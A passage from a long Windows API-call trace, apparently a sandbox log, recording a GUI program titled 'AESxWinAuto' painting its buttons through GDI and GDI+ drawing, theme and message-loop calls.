type=0x1) returned 0x1b00017 [0065.446] GetCurrentObject (hdc=0x14010944, type=0x2) returned 0x1900010 [0065.446] GetCurrentObject (hdc=0x14010944, type=0x7) returned 0x3c05094d [0065.446] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.446] SaveDC (hdc=0x14010944) returned 1 [0065.446] GetTextAlign (hdc=0x14010944) returned 0x0 [0065.446] GetTextColor (hdc=0x14010944) returned 0x0 [0065.446] GetCurrentObject (hdc=0x14010944, type=0x6) returned 0x18a002e [0065.446] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.446] SelectObject (hdc=0x14010944, h=0x70a0932) returned 0x18a002e [0065.446] GetBkMode (hdc=0x14010944) returned 2 [0065.446] SetBkMode (hdc=0x14010944, mode=1) returned 2 [0065.446] DrawTextExW (in: hdc=0x14010944, lpchText="button10", cchText=8, lprc=0x3ae820, format=0x102415, lpdtp=0x2608d08 | out: lpchText="button10", lprc=0x3ae820) returned 26 [0065.446] DrawTextExW (in: hdc=0x14010944, lpchText="button10", cchText=8, lprc=0x3ae970, format=0x102015, lpdtp=0x2608d08 | out: lpchText="button10", lprc=0x3ae970) returned 13 [0065.446] RestoreDC (hdc=0x14010944, nSavedDC=-1) returned 1 [0065.446] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.447] GetFocus () returned 0x1025e [0065.447] IsAppThemed () returned 0x1 [0065.447] GetThemeAppProperties () returned 0x3 [0065.447] GetThemeAppProperties () returned 0x3 [0065.447] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.447] BitBlt (hdc=0x701093a, x=0, y=0, cx=56, cy=19, hdcSrc=0x14010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.447] GdipReleaseDC (graphics=0x4ba1580, hdc=0x14010944) returned 0x0 [0065.447] SelectPalette (hdc=0x701093a, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.447] SelectObject (hdc=0x14010944, h=0x185000f) returned 0x3c05094d [0065.447] DeleteDC (hdc=0x14010944) returned 1 [0065.447] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.447] EndPaint (hWnd=0x10248, lpPaint=0x3aeb6c) returned 1 [0065.447] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.447] IsWindowUnicode (hWnd=0x1024a) returned 1 [0065.447] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.447] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.447] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.447] BeginPaint (in: hWnd=0x1024a, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x180107ac [0065.447] SelectPalette (hdc=0x180107ac, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.447] CreateCompatibleDC (hdc=0x180107ac) returned 0x16010944 [0065.447] SelectObject (hdc=0x16010944, h=0x3c05094d) returned 0x185000f [0065.447] GdipCreateFromHDC (hdc=0x16010944, graphics=0x3aeb68) returned 0x0 [0065.447] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.447] GdipSetClipRectI (graphics=0x4ba1580, x=23, y=0, width=33, height=19, combineMode=0x0) returned 0x0 [0065.447] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.447] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.447] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0065.447] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.447] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.447] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.447] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.447] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.447] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.448] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.448] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.448] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfda70dbd) returned 0x0 [0065.448] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.448] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.448] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.448] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.448] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.448] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.448] SaveDC (hdc=0x16010944) returned 1 [0065.448] GetNearestColor (hdc=0x16010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.448] GetNearestColor (hdc=0x16010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.448] GetNearestColor (hdc=0x16010944, color=0x696969) returned 0x696969 [0065.448] GetNearestColor (hdc=0x16010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.448] GetNearestColor (hdc=0x16010944, color=0x0) returned 0x0 [0065.448] GetNearestColor (hdc=0x16010944, color=0xffffff) returned 0xffffff [0065.448] GetNearestColor (hdc=0x16010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.448] GetNearestColor (hdc=0x16010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.448] GetNearestColor (hdc=0x16010944, color=0x0) returned 0x0 [0065.448] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.448] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.448] IsAppThemed () returned 0x1 [0065.448] GetThemeAppProperties () returned 0x3 [0065.448] GetThemeAppProperties () returned 0x3 [0065.448] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea44, fWinIni=0x0 | out: pvParam=0x3aea44) returned 1 [0065.448] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.448] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.448] IsAppThemed () returned 0x1 [0065.448] GetThemeAppProperties () returned 0x3 [0065.448] GetThemeAppProperties () returned 0x3 [0065.448] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.448] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.448] DrawTextExW (in: hdc=0x15010934, lpchText="button11", cchText=8, lprc=0x3ae8c8, format=0x102415, lpdtp=0x2609520 | out: lpchText="button11", lprc=0x3ae8c8) returned 26 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetFocus () returned 0x1025e [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsThemePartDefined () returned 0x1 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsAppThemed () returned 0x1 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] GetThemeAppProperties () returned 0x3 [0065.449] IsThemePartDefined () returned 0x1 [0065.449] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.449] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.449] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0065.449] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.449] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0065.449] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.449] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.449] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.449] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.449] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.449] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.449] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.449] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.449] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.449] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.449] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.449] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.449] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.449] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.449] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.449] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.449] SaveDC (hdc=0x16010944) returned 1 [0065.450] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb3040957 [0065.450] GetClipRgn (hdc=0x16010944, hrgn=0xb3040957) returned 0 [0065.450] SelectClipRgn (hdc=0x16010944, hrgn=0x22040945) returned 2 [0065.450] DeleteObject (ho=0xb3040957) returned 1 [0065.450] DeleteObject (ho=0x22040945) returned 1 [0065.450] OffsetViewportOrgEx (in: hdc=0x16010944, x=0, y=0, lppt=0x2609c5c | out: lppt=0x2609c5c) returned 1 [0065.450] DrawThemeParentBackground () returned 0x0 [0065.450] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.450] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.450] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.450] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.450] GetSystemMetrics (nIndex=42) returned 0 [0065.450] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.450] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.450] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.450] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.450] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.450] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.450] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.450] SaveDC (hdc=0x16010944) returned 2 [0065.450] GetNearestColor (hdc=0x16010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.450] CreateSolidBrush (color=0xf0f0f0) returned 0x1f100940 [0065.450] FillRect (hDC=0x16010944, lprc=0x3ae3f4, hbr=0x1f100940) returned 1 [0065.450] DeleteObject (ho=0x1f100940) returned 1 [0065.450] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.450] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.450] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.450] GetSystemMetrics (nIndex=42) returned 0 [0065.450] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.450] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.450] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.450] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.451] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.451] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.451] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.451] SaveDC (hdc=0x16010944) returned 2 [0065.451] GetNearestColor (hdc=0x16010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.451] CreateSolidBrush (color=0xf0f0f0) returned 0x20100940 [0065.451] FillRect (hDC=0x16010944, lprc=0x3ae394, hbr=0x20100940) returned 1 [0065.451] DeleteObject (ho=0x20100940) returned 1 [0065.451] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.451] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.451] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.451] GetSystemMetrics (nIndex=42) returned 0 [0065.451] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.451] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.451] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.451] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.451] IsAppThemed () returned 0x1 [0065.451] GetThemeAppProperties () returned 0x3 [0065.451] GetThemeAppProperties () returned 0x3 [0065.451] IsAppThemed () returned 0x1 [0065.451] GetThemeAppProperties () returned 0x3 [0065.451] GetThemeAppProperties () returned 0x3 [0065.451] IsThemePartDefined () returned 0x1 [0065.451] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.451] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.451] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.451] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.451] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae8c4) returned 0x0 [0065.451] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.451] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.451] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.451] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.451] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.451] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.451] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.452] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.452] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.452] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.452] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.452] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.452] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.452] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.452] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.452] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.452] SaveDC (hdc=0x16010944) returned 1 [0065.452] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x23040945 [0065.453] GetClipRgn (hdc=0x16010944, hrgn=0x23040945) returned 0 [0065.453] SelectClipRgn (hdc=0x16010944, hrgn=0xb5040957) returned 2 [0065.453] DeleteObject (ho=0x23040945) returned 1 [0065.453] DeleteObject (ho=0xb5040957) returned 1 [0065.453] OffsetViewportOrgEx (in: hdc=0x16010944, x=0, y=0, lppt=0x260a4f4 | out: lppt=0x260a4f4) returned 1 [0065.453] IsAppThemed () returned 0x1 [0065.453] GetThemeAppProperties () returned 0x3 [0065.453] GetThemeAppProperties () returned 0x3 [0065.453] DrawThemeBackground () returned 0x0 [0065.453] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.453] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.453] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.453] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.453] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.453] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.453] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8ac) returned 0x0 [0065.453] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.454] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.454] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.454] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.454] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.454] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.454] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.454] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8d8) returned 0x0 [0065.454] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8c8) returned 0x0 [0065.454] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8c8) returned 0x0 [0065.454] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.454] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8e0) returned 0x0 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.454] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.454] SaveDC (hdc=0x16010944) returned 1 [0065.454] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xb6040957 [0065.454] GetClipRgn (hdc=0x16010944, hrgn=0xb6040957) returned 0 [0065.454] SelectClipRgn (hdc=0x16010944, hrgn=0x24040945) returned 2 [0065.454] DeleteObject (ho=0xb6040957) returned 1 [0065.454] DeleteObject (ho=0x24040945) returned 1 [0065.454] OffsetViewportOrgEx (in: hdc=0x16010944, x=0, y=0, lppt=0x260a7d0 | out: lppt=0x260a7d0) returned 1 [0065.454] IsAppThemed () returned 0x1 [0065.454] GetThemeAppProperties () returned 0x3 [0065.454] GetThemeAppProperties () returned 0x3 [0065.454] GetThemeBackgroundContentRect () returned 0x0 [0065.454] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.454] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.454] IsAppThemed () returned 0x1 [0065.454] GetThemeAppProperties () returned 0x3 [0065.454] GetThemeAppProperties () returned 0x3 [0065.454] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3ae9f0) returned 0x0 [0065.454] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae9dc) returned 0x0 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x1) returned 0x1b00017 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x2) returned 0x1900010 [0065.454] GetCurrentObject (hdc=0x16010944, type=0x7) returned 0x3c05094d [0065.454] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.454] SaveDC (hdc=0x16010944) returned 1 [0065.455] GetTextAlign (hdc=0x16010944) returned 0x0 [0065.455] GetTextColor (hdc=0x16010944) returned 0x0 [0065.455] GetCurrentObject (hdc=0x16010944, type=0x6) returned 0x18a002e [0065.455] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae73c | out: pv=0x3ae73c) returned 92 [0065.455] SelectObject (hdc=0x16010944, h=0x70a0932) returned 0x18a002e [0065.455] GetBkMode (hdc=0x16010944) returned 2 [0065.455] SetBkMode (hdc=0x16010944, mode=1) returned 2 [0065.455] DrawTextExW (in: hdc=0x16010944, lpchText="button11", cchText=8, lprc=0x3ae820, format=0x102415, lpdtp=0x260ab68 | out: lpchText="button11", lprc=0x3ae820) returned 26 [0065.455] DrawTextExW (in: hdc=0x16010944, lpchText="button11", cchText=8, lprc=0x3ae970, format=0x102015, lpdtp=0x260ab68 | out: lpchText="button11", lprc=0x3ae970) returned 13 [0065.455] RestoreDC (hdc=0x16010944, nSavedDC=-1) returned 1 [0065.455] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.455] GetFocus () returned 0x1025e [0065.455] IsAppThemed () returned 0x1 [0065.455] GetThemeAppProperties () returned 0x3 [0065.455] GetThemeAppProperties () returned 0x3 [0065.455] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebc8) returned 0x0 [0065.455] BitBlt (hdc=0x180107ac, x=0, y=0, cx=56, cy=19, hdcSrc=0x16010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.455] GdipReleaseDC (graphics=0x4ba1580, hdc=0x16010944) returned 0x0 [0065.455] SelectPalette (hdc=0x180107ac, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.455] SelectObject (hdc=0x16010944, h=0x185000f) returned 0x3c05094d [0065.455] DeleteDC (hdc=0x16010944) returned 1 [0065.455] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.455] EndPaint (hWnd=0x1024a, lpPaint=0x3aeb6c) returned 1 [0065.455] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.455] IsWindowUnicode (hWnd=0x1024c) returned 1 [0065.455] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.455] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.455] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.456] BeginPaint (in: hWnd=0x1024c, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x701093a [0065.456] SelectPalette (hdc=0x701093a, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.456] CreateCompatibleDC (hdc=0x701093a) returned 0x18010944 [0065.456] SelectObject (hdc=0x18010944, h=0x3c05094d) returned 0x185000f [0065.456] GdipCreateFromHDC (hdc=0x18010944, graphics=0x3aeb68) returned 0x0 [0065.456] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.456] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=9, width=56, height=10, combineMode=0x0) returned 0x0 [0065.456] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.456] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.456] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3aebe8) returned 0x0 [0065.456] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.456] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.456] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.456] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.456] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.456] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.456] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.456] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.456] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfda50dbd) returned 0x0 [0065.456] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.456] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.456] GetCurrentObject (hdc=0x18010944, type=0x1) returned 0x1b00017 [0065.456] GetCurrentObject (hdc=0x18010944, type=0x2) returned 0x1900010 [0065.456] GetCurrentObject (hdc=0x18010944, type=0x7) returned 0x3c05094d [0065.456] GetCurrentObject (hdc=0x18010944, type=0x6) returned 0x18a002e [0065.456] SaveDC (hdc=0x18010944) returned 1 [0065.456] GetNearestColor (hdc=0x18010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.456] GetNearestColor (hdc=0x18010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.456] GetNearestColor (hdc=0x18010944, color=0x696969) returned 0x696969 [0065.456] GetNearestColor (hdc=0x18010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.456] GetNearestColor (hdc=0x18010944, color=0x0) returned 0x0 [0065.457] GetNearestColor (hdc=0x18010944, color=0xffffff) returned 0xffffff [0065.457] GetNearestColor (hdc=0x18010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.457] GetNearestColor (hdc=0x18010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.457] GetNearestColor (hdc=0x18010944, color=0x0) returned 0x0 [0065.457] RestoreDC (hdc=0x18010944, nSavedDC=-1) returned 1 [0065.457] GdipReleaseDC (graphics=0x4ba1580, hdc=0x18010944) returned 0x0 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea44, fWinIni=0x0 | out: pvParam=0x3aea44) returned 1 [0065.457] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.457] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.457] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.457] DrawTextExW (in: hdc=0x15010934, lpchText="button12", cchText=8, lprc=0x3ae8c8, format=0x102415, lpdtp=0x260b380 | out: lpchText="button12", lprc=0x3ae8c8) returned 26 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetFocus () returned 0x1025e [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsThemePartDefined () returned 0x1 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsAppThemed () returned 0x1 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] GetThemeAppProperties () returned 0x3 [0065.457] IsThemePartDefined () returned 0x1 [0065.457] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.457] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.458] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0065.458] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.458] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae900) returned 0x0 [0065.458] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 